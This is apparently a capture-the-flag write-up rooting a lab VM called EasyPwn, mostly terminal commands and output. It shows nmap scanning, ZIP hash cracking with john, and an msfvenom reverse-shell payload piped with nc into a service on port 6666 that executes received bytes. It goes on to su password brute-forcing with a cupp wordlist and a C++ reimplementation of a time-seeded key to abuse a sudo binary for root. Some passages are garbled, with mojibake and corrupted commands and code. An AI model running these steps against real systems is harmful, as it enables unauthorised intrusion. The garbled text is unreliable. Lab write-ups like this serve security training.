

# EasyPwn

```
root@kali: /home/guel/Work
└─# nmap -sS -p- --open -Pn -vvv 192.168.0.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 11:59 EDT
Initiating ARP Ping Scan at 11:59
Scanning 192.168.0.56 [1 port]
Completed ARP Ping Scan at 11:59, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:59
Scanning 192.168.0.56 [65535 ports]
Discovered open port 80/tcp on 192.168.0.56
Discovered open port 22/tcp on 192.168.0.56
Discovered open port 6666/tcp on 192.168.0.56
Completed SYN Stealth Scan at 11:59, 18.31s elapsed (65535 total ports)
Nmap scan report for 192.168.0.56
Host is up, received arp-response (0.0012s latency).
Scanned at 2025-03-14 11:59:40 EDT for 18s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
6666/tcp  open  irc      syn-ack ttl 64
MAC Address: 08:00:27:4D:69:FC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.50s
```

```
root@kali: /home/guel/Work
└─# nmap -sCV -p22,80,6666 --open -Pn -n -vvv 192.168.0.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 12:00 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning

Scanned at 2025-03-14 12:00:56 EDT for 24s

PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAQABAAQDKpc4iyFhIxvDvlJopVgE9rRlFPoqHm4EkLgqXQkVf31csyjpvJgyZpTgr4gYV3o
zGXRaXQyaF7d0q49vkIoptczAU2af2PfwycA3aaI/lNPOYSHPRuFkm102lE/lHzNbXh0yJJXy9RJaqELeAibmqdrHFNpXFT8qAvsQrz/
qlcOaxlmuC5oKEgFQP7obty1+6fx/QIuNh3D05FeQMqbvJffZFdE2IH4WEbFWRGH6w1
|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAIBmlzdHAyNTYAAABBAYupwIuJVRtRMDrYZ6fR/3p5E5vsqX
HrZA=
|   256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0shh8VG4l9HwlVYWFAvLuWuwPEdiF8EXmm5BFib/+q
80/tcp    open  http     syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Don't Hack Me
|_http-server-header: Apache/2.4.59 (Debian)
|_http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
6666/tcp  open  irc?    syn-ack ttl 64
| fingerprint-strings:
|   Help, Socks4, Socks5:
|     Hackers, get out of my machine
|   beast2:
|     start: 11
|_irc-info: Unable to open connection
```

Go to the most evil port.  
You will get what you want.  
Please be gentle with him, maybe he will be afraid.  
In order to obtain its source code.  
Perhaps you will need the dictionary below.

åŽ»é, fää, äæ€é, äæ¶çš,,ç«-å¶fää, ä½ ä½šå¾—å^°ä½ æf³è! ¶çš,,ä€, è^-å^-ä»—æ©æÝ”ä, €ç, ¹ï¼Œæ¹Ýè®, å®fää½šå®³æ€•ä€, ä, ä°ä°†å¾—å^°å®fçš,,æ° ¶ç, ¶ä€, ä¹Ýè®, ä½ ä½šéæ€è! ¶ä, <é ¶çš,,å—å..., ä€,

/YTlPX4d2UENbWnI.txt

```
root@kali: /home/guel/Work
└──(root㉿kali)-[/home/guel/Work] ┌──(Manjaro)─[~]─[root@kali: /home/guel/Work]
└──# curl -s -X GET 'http://192.168.0.56/YTLPX4d2UENbWnI.txt'
ta0
lingmj
bamuwe
todd
ll104567
primary
lvzhouhang
qiaojojo
flower
root@kali: /home/guel/Work
```

User	Time	Source	Destination	Protocol	Length	Info
todd	43.57.9474...	192.168.0.36	192.168.0.56	TCP	69	36820 → 6666 [PSH, ACK] Seq=1
ll104567	7.9018...	192.168.0.56	192.168.0.36	TCP	66	6666 → 36820 [ACK] Seq=1
primary	47.1856...	192.168.0.36	192.168.0.56	TCP	73	36820 → 6666 [PSH, ACK] Seq=1
lvzhouhang	1843...	192.168.0.56	192.168.0.36	TCP	66	6666 → 36820 [ACK] Seq=1
qiaojojo	18.0793...	192.168.0.36	192.168.0.56	TCP	75	36820 → 6666 [PSH, ACK] Seq=1
flower	-28.0781...	192.168.0.56	192.168.0.36	TCP	66	6666 → 36820 [ACK] Seq=1
	12.91.14337...	192.168.0.36	192.168.0.56	TCP	22...	36820 → 6666 [PSH, ACK] Seq=1

```
root@kali: /home/guel/Work
└──(root㉿kali)-[/home/guel/Work] ┌──(Manjaro)─[~]─[root@kali: /home/guel/Work]
└──# gobuster dir -w routes.txt -u 'http://192.168.0.56/'
```

---

Gobuster v3.6  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

---

```
[+] Url:                      http://192.168.0.56/
[+] Method:                   GET  GET
[+] Threads:                  10
[+] Wordlist:                 routes.txt
[+] Negative Status codes:   404
[+] User Agent:               gobuster/3.6
[+] Timeout:                  10s
```

---

Starting gobuster in directory enumeration mode

---

```
Progress: 9 / 10 (90.00%)
/ll104567          (Status: 200)    [Size: 739584]
```

---

```

[✓] # ll
total 728
-rw-rw-r-- 1 guel guel 739584 Mar 15 00:17 ll104567
-rw-r--r-- 1 root root      5 Mar 13 15:46 text.txt

[✓] # zip2john ll104567 > ziphash.txt
Created directory: /root/.john
ver 2.0 ehh 5455 ehh 7875 ll104567/opt/server PKZIP Encr: TS_chk, cmplen=739398, decmplen=2120576, crc=1B8B19DF ts=4118 cs=4118 type=8

[✓] # cat ziphash.txt
ll104567/opt/server:$kzip$1*x1x2x0xb4846*x205b80+1b8b19df*x0+4*x8+b4846*4118*x0687644bd33c34a00165b54b30ad694bdff1cccd6155a4bd651b8433d941a1a923f2f1e622f2574bbfe
58c410a77dfe7c52ed9aebbf8c62f7f49ee391606a3dc558ba065ac376b9ea7797962267fdff027dd4a76b25e6a8be00f67228a3ef9c9f49b97d8ed5f953bda3cc442fdca8234f4ab4baf17b38d
5eaae061d4ebf9c7fdb18c8a153c344498f4b4a4366c6d96d0aa4cc2262b48ae189246c9786bbcd6344328e4d98a2dc80aa6a7f529d3a3c39821fe283e6fb62603b2585d78adff045fdcd94
d8a895c3811017d1004a12394220d6b0e5f665548ef3b941970b76b7655106725f5bf8d84e01c5a4cd0a46125df7038801e01/a9ef1f67/39e3263608f74cd608c3b7900b494/aea3800d95a3f7
8ff784679c8cb8ab9a3a4c231e5c76e01330908e42e55a6dde408b4a48464bf75d072e2b3cfab6695c0c9fa312f09565eccb8922b88e4ee3f6828e9890261aa79329f36d
37ef7a494226f48366308a3c3e0b16b67938c54380d0cc533a7595a3c138edc50b483b3d137d8980e2240e2c6bbc96e4290c30f0bed70226c0655a1bds0655c3d782223037145a369b9a16
507afe7943fa0ef48cb5152d00aa69ea13b4a066e5fc78d0ec596c7c029c0bb5f84a1ed1c458af5e3c95f46fe39f2c9abb2ef8fe14b29351170347fa40d985b2a95ab2976bf0e103aff247a8b
cf74026771cb573197630f668599e8f4397ed77686f9b46bf1f2c249e5f0d0d8b522bfdd5ab2d585c7f17643fa42c2bbba0a70e5f3342355b03a962fffc56490efca2182de459c389059dcdbf36501
ba95517160a96caeacf4fc3d627d0dd1eaaf934598f7bacd83f413f197de30e2f1d6fb986e290c993e15bb0cfc74d1667323fb7909593fc53eafe6a70d39371abe52e186f8f39452d402a9e77b1535
e0ba4478020158pef0781d77f703b46fe202dbf80dcd3db47373c91f4e3a4dbbc5cefbb3fb73a4191a9be6c31e430bcd152829f21b2215a730c84e4fa3ed578f729eaa4a8354d30dc0174b500f8814
2b4d35d96d67d3b3255146089bf0c869470484c8c006ac63f26bf8b7566dd000b759fd52a83b1246499679566bf4a07e67bb39caaf1060a1bd1da696065e4acc5051a37a
3c404ba6e4a86a779e9f96893e456382486e5389f9058d1de041191458a091dd7cd1ea969cff4256e0098614ef5c0699fd71be7d5aasd32cd0013671d22d2567b6e0c62fe181992074fa13aad
c7177dd6d36d986f425edd2883776a72251c8372a6be784ba7ch54d0528dwee4c787466ba0f20817b9ec51976d67d21614c1cf232b1541d627321f53c9f9ba3dab88c5279891a627a3f7d92ca2fb
4fe33a88cd04fcdb53b7d082f5a6bcffdf2a49e99944a7d1cae4be9eaa2c1026f3f6201fd71abe7d278b130a466be34a3e49e75d6721856e67f483f203f5833737086277b6f890326e8ea55cc0d
1g 0:00:00:00 DONE (2025-03-15 00:21) 9.090g/s 74472p/s 74472c/s 74472C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

```

[✓] # john ziphash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ooooooo          (ll104567/opt/server)
1g 0:00:00:00 DONE (2025-03-15 00:21) 9.090g/s 74472p/s 74472c/s 74472C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

```

[✓] # ./server
[+] 成功在端口 6666 启动服务
[*] 等待客户端连接 ...

```

[+] Iniciado con éxito el servicio en el puerto 6666.

[\*] Esperando conexión del cliente...

```

1 undefined void main(void)
2 {
3     int iVar1;
4     undefined8 uVar2;
5     char *acStack_1078 [4108];
6     undefined4 uStack_6c;
7     undefined4 uStack_68;
8     undefined2 uStack_66;
9     undefined4 uStack_64;
10    undefined4 uStack_60;
11    undefined4 uStack_5c;
12    code *pStack_50;
13    undefined4 uStack_4c;
14    char *cStack_39;
15    undefined4 *pStack_38;
16    undefined4 *pStack_30;
17    long lStack_29;
18    int iStack_20;
19    int iStack_1c;
20    undefined4 *pStack_18;
21    int iStack_10;
22    undefined uStack_9;
23
24    signal(0xb, _Z14signal_handler);
25    signal(0xd, _Z14signal_handler);
26    uStack_6c = 1;
27    if (iStack_1c >= 2) {
28        if (iStack_1c == 0) {
29            perror(&JN_0053c023);
30        }
31        else {
32            iVar1 = setsockopt(iStack_1c, 1, 2, &iStack_6c, 4);
33            if (iVar1 == -1) {
34                perror(&JN_0053c024);
35                uStack_6d = 0;
36                uStack_6e = ntohs(0x1a0a);
37                iVar1 = bind(iStack_1c, &iStack_68, 10);
38                if (iVar1 == -1) {
39                    perror(&JN_0053c001);
40                    close(iStack_1c);
41                }
42            }
43            iVar1 = listen(iStack_1c, 5);
44            if (-1 < iVar1) {

```

## Key Components of the Code

### 1. Signal Handling:

- The program sets up signal handlers for signals `0xb` (SIGSEGV) and `0xd` (SIGPIPE) using the `ssignal` function. These signals are typically used to handle segmentation faults and broken pipe errors, respectively.

### 2. Socket Setup:

- A socket is created using `socket(2, 1, 0)`, which corresponds to an IPv4 (`AF_INET`) TCP (`SOCK_STREAM`) socket.
- The `setsockopt` function is used to set socket options, specifically enabling `SO_REUSEADDR` to allow reusing the address.

### 3. Binding and Listening:

- The socket is bound to a specific port (`0x1a0a`, which is 6666 in decimal) using the `bind` function.
- The `listen` function is called to start listening for incoming connections, with a backlog of 5.

### 4. Accepting Connections:

- The program enters a loop where it waits for incoming connections using the `accept` function.
- Once a connection is accepted, the file descriptors for standard input, output, and error (`0`, `1`, and `2`) are duplicated to the client socket using `dup2`.

## 5. Reading Data:

- Data is read from the client using the `read` function into a buffer (`acStack_1078`).

## 6. Data Validation:

- The program checks the received data against a list of "forbidden bytes" (`_ZL15forbidden_bytes`). If any forbidden byte is found, the program stops processing the data.

## 7. Executing Code:

- If the data passes the validation, it is copied into a memory-mapped region using `mmap` with `PROT_EXEC | PROT_READ | PROT_WRITE` permissions, allowing the data to be executed as code.
- The program then jumps to the mapped memory and executes the code.

## 8. Cleanup:

- After execution, the memory-mapped region is unmapped using `munmap`, and the connection is closed.

---

## Issues and Observations

### 1. Security Risks:

- The program appears to execute arbitrary code received from a client, which is highly dangerous and can lead to remote code execution vulnerabilities.
- The use of `mmap` with `PROT_EXEC` to execute received data is a significant security risk, as it allows an attacker to run malicious code on the server.

## Potential Vulnerabilities

### 1. Remote Code Execution:

- The program executes arbitrary code received from a client, making it vulnerable to remote code execution attacks.

```

pcStack_50 = (code *)mmap(0, IStack_28, 7, 0x22, 0xffffffff, 0);
if (pcStack_50 == (code *)&DAT_ffffffffffffff) {
    perror(&UNK_0053c108);
    close(iStack_20);
}
else {
    memcpy(pcStack_50, acStack_1078, IStack_28);
    (*pcStack_50)(); // This executes the received data as code
    munmap(pcStack_50, IStack_28);
}

```

```

root@kali:~/home/guel/Downloads/opt] msfvenom -p linux/x64/shell_reverse_tcp lhost=192.168.0.36 lport=1234 -b
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes

[root@kali:~/home/guel/Downloads/opt] xx tmp
00000000: 4831 c948 81e9 f6ff ffff 488d 05ef ffff H1.H... ...H... ...
00000010: ff48 bb4e 84a0 754b af29 3448 3158 2748 .H.N..uK.)4H1X' H
00000020: 2d78 ffff ffe2 f424 adf8 ee21 ad76 5e4f -. .... $... !.v^0
00000030: daaf 7003 3861 8d4c 84a4 a78b 0729 101f ..p.8a.L.....).
00000040: cc29 9721 bf73 5e64 dcdf 7021 ac77 7c01 .).!.-s^d..p!.w|.
00000050: 4aca 5413 a82c 4108 ee9b 2dd2 e792 3b2c J.T.,A....-....,
00000060: edce 5a38 c729 6790 0d47 271c e7a0 d241 ..Z8.)g.G'.....A
00000070: 81a0 754b af29 34 ..uK.)4

[root@kali:~/home/guel/Downloads/opt] cat tmp|nc 192.168.0.56 6666

```

```

sudo. I incorrect password attempt
lamb@pwnding:/home/lamb$ ls
this_is_a_tips.txt use3e3e3e3e3sr.txt
lamb@pwnding:/home/lamb$ cat use3e3e3e3e3sr.txt
flag{3a463d08f2ae11efbeb6000c29094b2d}
lamb@pwnding:/home/lamb$ 

```

`flag{3a463d08f2ae11efbeb6000c29094b2d}`

```

lamb@pwnding:/var/spool$ cd rsyslog/
bash: cd: rsyslog/: Permission denied
lamb@pwnding:/var/spool$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Nov 13 2020 .
drwxr-xr-x 12 root root 4096 Feb 19 09:22 ..
drwxr-xr-x 3 root root 4096 Nov 13 2020 cron
lrwxrwxrwx 1 root root 7 Nov 13 2020 mail → ../mail local_58
drwx----- 2 root root 4096 Feb 26 2019 rsyslog
lamb@pwnding:/var/spool$ cd ..
lamb@pwnding:/var$ ls
backups cache lib local lock log mail opt run spool tmp www
lamb@pwnding:/var$ cd backups
lamb@pwnding:/var/backups$ ls
apt.extended_states.0
lamb@pwnding:/var/backups$ ls -la
total 24
drwxr-xr-x 3 root root 4096 Feb 21 21:15 .
drwxr-xr-x 12 root root 4096 Feb 19 09:22 ..
drwxr-xr-x 3 root root 4096 Feb 19 20:17 .secret
-rw-r--r-- 1 root root 11092 Feb 19 11:04 apt.extended_states.0
lamb@pwnding:/var/backups$ cd .secret/
lamb@pwnding:/var/backups/.secret$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 19 20:17 .
drwxr-xr-x 3 root root 4096 Feb 21 21:15 ..
drwxr-xr-x 3 root root 4096 Feb 19 20:17 .verysecret
lamb@pwnding:/var/backups/.secret$ cd .verysecret/
lamb@pwnding:/var/backups/.secret/.verysecret$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Feb 19 20:17 .
drwxr-xr-x 3 root root 4096 Feb 19 20:17 ..
drwxr-xr-x 2 root root 4096 Feb 24 07:59 .noooooo
lamb@pwnding:/var/backups/.secret/.verysecret$ cd .nooooooo/
lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Feb 24 07:59 .
drwxr-xr-x 3 root root 4096 Feb 19 20:17 ..
-rw-r--r-- 1 root root 1936 Feb 24 07:59 note2.txt
lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ cat note2.txt

```

```

lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ cat note2.txt
The Compass and the Campfire

David knelt beside his ten-year-old son, Jake, their shared backpack spilling onto the forest floor. "Lost?" Jake whispered, staring at the identical trees clawing at the twilight. David's calloused fingers brushed the cracked compass in his palm—a relic from his father, its needle trembling like a moth. "Not lost," he lied. "Just... rerouting."
Jake's eyes narrowed, too sharp for comfort. "Your compass is broken."
A chuckle escaped David, brittle as dry leaves. "Compasses don't break, bud. They... forget." He flipped it open, the glass fogged with age. "See? North isn't where it should be. It's where it chooses to be tonight."
The boy frowned, then yelped as a pinecone thudded beside him. A red squirrel chattered overhead, its tail flicking like a metronome. Jake's fear dissolved into giggles. David watched, throat tight. He's still young enough to laugh at squirrels.
"Dad?" Jake unzipped his jacket, revealing three granola bars and a glowstick. "We've got supplies. Let's build a fort."
They wove branches into a crooked shelter, Jake's hands steady where David's shook. When the first stars pierced the canopy, David confessed: "Grandpa gave me this compass the day I got lost in the mall. Told me it'd always point home."
Jake snapped the glowstick, bathing their fort in alien green. "Does it work now?"
The needle quivered, settling northwest. Toward the distant highway hum, not their cabin's woodsmoke. David closed the brass lid. " Nope. But you do." He nodded at Jake's pocket—where a crumpled trail map peeked out, dotted with the boy's doodled dinosaurs.
Dawn found them at the cabin's porch, guided by Jake's roars laughter and the squirrels he'd named "Sir Nibbles". The compass stayed in David's pocket, its secret safe: true north had shifted years ago, anyway—from steel poles to a gap-toothed grin eating pancakes at 6 AM.
lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ 

```

```
[guel@Kati:~] $ cupp -i
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence '\ '
    print("          \n        # User")
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence '\ '
    print("          \n\\033[1;31m_,_,\033[1;m           # Passwords")
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence '\ '
    print("          \n\\033[1;31m(\033[1;moo\033[1;31m)___\033[1;m      # Profiler")
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence '\ '
    print("          \n\\033[1;31m(__) )\ \033[1;m  ")

cupp.py!
  ↘
  ↘
  ↘ {oo}____)
  ↘ (____) )
  ↘||--||

# Common
# User
# Passwords
# Profiler

[ Muris Kurgas | j0rgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]
```

```
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: David
> Surname: knelt
> Nickname:
> Birthdate (DDMMYYYY):
>
> Partners) name: Jake
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
>
> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):
```

```
> Partners) birthdate (DDMMYYYY):  
  
> Child's name:  
> Child's nickname:  
> Child's birthdate (DDMMYYYY):  
  
> Pet's name: Nibbles  
> Company name:  
  
> Do you want to add some key words about the victim? Y/[N]:  
> Do you want to add special chars at the end of words? Y/[N]:  
> Do you want to add some random numbers at the end of words? Y/[N]:  
> Leet mode? (i.e. leet = 1337) Y/[N]:  
  
[+] Now making a dictionary ...  
[+] Sorting list and removing duplicates ...  
[+] Saving dictionary to david.txt, counting 326 words.  
[+] Now load your pistolero with david.txt and shoot! Good luck!
```

```

lamb@pwnding:/home/lamb$ wget http://192.168.0.36:2323/david.txt
--2025-03-15 01:46:17-- http://192.168.0.36:2323/david.txt
Connecting to 192.168.0.36:2323 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 3347 (3.3K) [text/plain]
Saving to: 'david.txt'

david.txt      100%[=====]   3.27K  --.-KB/s   in 0s

2025-03-15 01:46:17 (237 MB/s) - 'david.txt' saved [3347/3347]

lamb@pwnding:/home/lamb$ █

> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary ...
[+] Sorting list and removing duplicates ...
[+] Saving dictionary to david.txt, counting 326 words.
[+] Now load your pistolero with david.txt and shoot! Good luck!

└─(guel㉿kali)-[~]
$ php -S 0.0.0.0:2323
[Sat Mar 15 01:45:19 2025] PHP 8.4.4 Development Server (http://0.0.0.0:2323) started
[Sat Mar 15 01:46:14 2025] 192.168.0.56:39248 Accepted
[Sat Mar 15 01:46:14 2025] 192.168.0.56:39248 [200]: GET /david.txt
[Sat Mar 15 01:46:14 2025] 192.168.0.56:39248 Closing
█

```

```

2025-03-15 01:46:17 (237 MB/s) - 'david.txt' saved [3347/3347]

lamb@pwnding:/home/lamb$ nano suforce.sh
lamb@pwnding:/home/lamb$ chmod +x suforce.sh
lamb@pwnding:/home/lamb$ ./suforce.sh david.txt
This tool bruteforces a selected user using binary su and as password.
You can specify a username using -u <username> and a wordlist via -w .
By default the BF default speed is using 100 su processes at the same
You can configure this times using -t (timeout su process) ans -s (sl
Fastest recommendation: -t 0.5 (minimun acceptable) and -s 0.003 ~ 10s

Example:    ./suBF.sh -u <USERNAME> [-w top12000.txt] [-t 0.7] [-s 0.003]

THE USERNAME IS CASE SENSITIVE AND THIS SCRIPT DOES NOT CHECK IF THE

lamb@pwnding:/home/lamb$ ./suforce.sh -u root -w david.txt
[+] Bruteforcing root ...
Wordlist exhausted
lamb@pwnding:/home/lamb$ ./suforce.sh -u lamb -w david.txt
[+] Bruteforcing lamb ...
Wordlist exhausted
lamb@pwnding:/home/lamb$ nano suforce.sh
lamb@pwnding:/home/lamb$ ./suforce.sh
[+] Bruteforcing lamb ...
You can login as lamb using password: ekaJ_2016
█

```

The program seeds the random number generator using the current time:

```
tVar3 = time(0);  
srand(tVar3);
```

This means the random number (`local_20`) is based on the current time when the program is run.

## b. Generate `local_20`

`local_20` is calculated as:

```
local_20 = rand() % 86400;
```

## c. Generate `local_28`

`local_28` is generated using a function called `generate_normal_distribution()`. Since the implementation of this function is not provided, we'll assume it returns a value from a standard normal distribution (mean = 0, standard deviation = 1).

## d. Calculate `local_38`

`local_38` is calculated as:

```
local_38 = local_20 + (int)(local_28 * 5.0);
```

This value is then clamped between `0` and `86400`.

## e. Calculate the Magic Number

Finally, the magic number is:

```
magic_number = local_38 + 12345;
```

```
#include <iostream>
#include <cmath>
#include <ctime>
#include <cstdlib>
#include <algorithm>

using namespace std;

double generate_normal_distribution() {
    double x = rand() / 2147483647.0; // 注意：2147483647 = 0xFFFFFFFF
    double v3 = rand() / 2147483647.0;

    double v0 = log(x);
    double v2 = sqrt(-2.0 * v0);

    return cos(6.283185307179586 * v3) * v2;
}

int main() {
    srand(time(0)); /

    int v21 = rand() % 86400;

    double normal_value = generate_normal_distribution();

    int temp = static_cast<int>(5.0 * normal_value) + v21;
    temp = max(0, min(temp, 86399));
    int key = temp + 12345;

    cout << key << endl;
    return 0;
}
```

The `-B` option is typically used in the following scenarios:

## 1. Custom Toolchain Location:

- If you have a custom toolchain (e.g., a cross-compiler or a locally installed GCC), you can use `B` to specify where the compiler should look for its executables.

## 2. Missing or Misconfigured Tools:

- If GCC cannot find tools like `ld`, `as`, or `ccl`, you can use `B` to explicitly point to the directory where these tools are located

```
lamb@pwnding:/tmp$ nano rand.c  
lamb@pwnding:/tmp$ g++ -o key rand.c -B /usr/bin/
```

```
lamb@pwnding:/tmp$ sudo /usr/local/bin/getroot $(key)  
$1$BvrTqWyB$Soa7qkeu1GfIoy2duf53t0
```

```
lamb@pwnding:/tmp$ su root
Password:
root@pwnding:/tmp# whoami
root
root@pwnding:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@pwnding:/tmp# cat /r
root/ run/
root@pwnding:/tmp# cat /root/r00000000000000000000000ot.txt
flag{46511d58f2ae11ef9ea3000c29094b2d}
root@pwnding:/tmp# █
```

flag{46511d58f2ae11ef9ea3000c29094b2d}